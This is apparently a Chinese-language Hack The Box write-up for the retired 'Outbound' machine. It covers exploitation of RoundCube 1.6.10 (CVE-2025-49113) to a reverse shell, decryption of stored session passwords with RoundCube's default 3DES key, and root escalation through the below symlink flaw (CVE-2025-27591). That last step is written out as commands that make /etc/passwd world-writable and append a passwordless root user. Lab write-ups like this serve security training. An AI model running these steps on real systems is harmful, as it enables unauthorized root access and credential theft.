HTB: Outbound
靶机信息
| 项目 | 详细信息 |
|---|---|
| 名称 | Outbound |
| 发布日期 | 2025年7月12日 |
| 退役日期 | 2025年11月15日 |
| 操作系统 | Linux |
| 难度 | 简单 [20] |
| 创建者 | TheCyberGeek |
| 场景 | 给定初始凭证:tyler / LhKL1o9Nm3X2 |
侦察阶段
初始扫描
nmap扫描显示两个开放端口:
|
|
Web服务器重定向到 mail.outbound.htb,将该域名添加到hosts文件:
|
|
初始访问
RoundCube登录
访问 mail.outbound.htb 显示RoundCube邮件系统,版本为1.6.10。使用提供的凭据 tyler / LhKL1o9Nm3X2 成功登录。
CVE-2025-49113利用
该漏洞是RoundCube 1.6.10中的认证PHP反序列化漏洞,允许远程代码执行。使用公开的PoC进行利用:
|
|
成功获得反向Shell,用户为 www-data。
权限提升
容器环境确认
当前环境为Docker容器(IP地址172.17.0.2),容器内有三个用户:jacob、mel、tyler。
RoundCube数据库分析
配置文件 /var/www/html/roundcube/config/config.inc.php 包含数据库连接信息:
|
|
会话密码解密
从 session 表的 vars 字段提取加密密码(base64编码的序列化PHP对象)。使用RoundCube自带的解密脚本:
|
|
输出:LhKL1o9Nm3X2(tyler的密码)
手动3DES解密
也可以使用CyberChef手动解密:
- Base64解码获取原始数据
- 前8字节为IV,剩余为密文
- 使用3DES-CBC模式,密钥为
rcmail-!24ByteDESkey*Str - IV为
85c54248d5ce6205
获取jacob凭证
从jacob的会话数据中提取加密密码:
|
|
输出:595mO8DmwGeD
SSH访问jacob
使用解密后的密码登录RoundCube邮箱,发现两封重要邮件:
- 告知jacob已获得查看日志文件的权限
- 包含新的SSH密码:
gY4Wr3a1evp4
使用该密码成功SSH登录jacob账户。
root权限提升
sudo权限分析
jacob可以无密码运行below命令,但有部分限制:
|
|
CVE-2025-27591利用
Below v0.9.0之前版本存在权限提升漏洞,会创建世界可写的 /var/log/below 目录。
攻击步骤:
-
检查现有日志目录:
1 2ls -ld /var/log/below/ drwxrwxrwx 3 root root 4096 Jul 14 16:39 below/ -
删除root日志文件并创建符号链接:
1 2rm /var/log/below/error_root.log ln -sf /etc/passwd /var/log/below/error_root.log -
运行below(触发权限更改):
1sudo below -
检查passwd文件权限:
1 2ls -l /etc/passwd -rw-rw-rw- 1 root root 1840 Jul 14 16:40 /etc/passwd -
添加特权用户:
1echo -e 'oxdf::0:0:oxdf:/root:/bin/bash\n' >> /etc/passwd -
切换用户获取root权限:
1su - oxdf
技术深入分析
PHP漏洞利用分析
PoC生成的序列化对象结构:
|
|
命令通过base64编码嵌入,避免特殊字符问题。
CyberChef高级技巧
使用Registers功能简化3DES解密流程:
- “From Base64” → “To Hex”
- “Register"操作捕获前16字符作为IV
- “Find / Replace"移除IV部分
- “Triple DES Decrypt"使用保存的IV
Sudo规则绕过
原始sudoers配置包含复杂的命令别名限制,修改后允许完全访问below命令。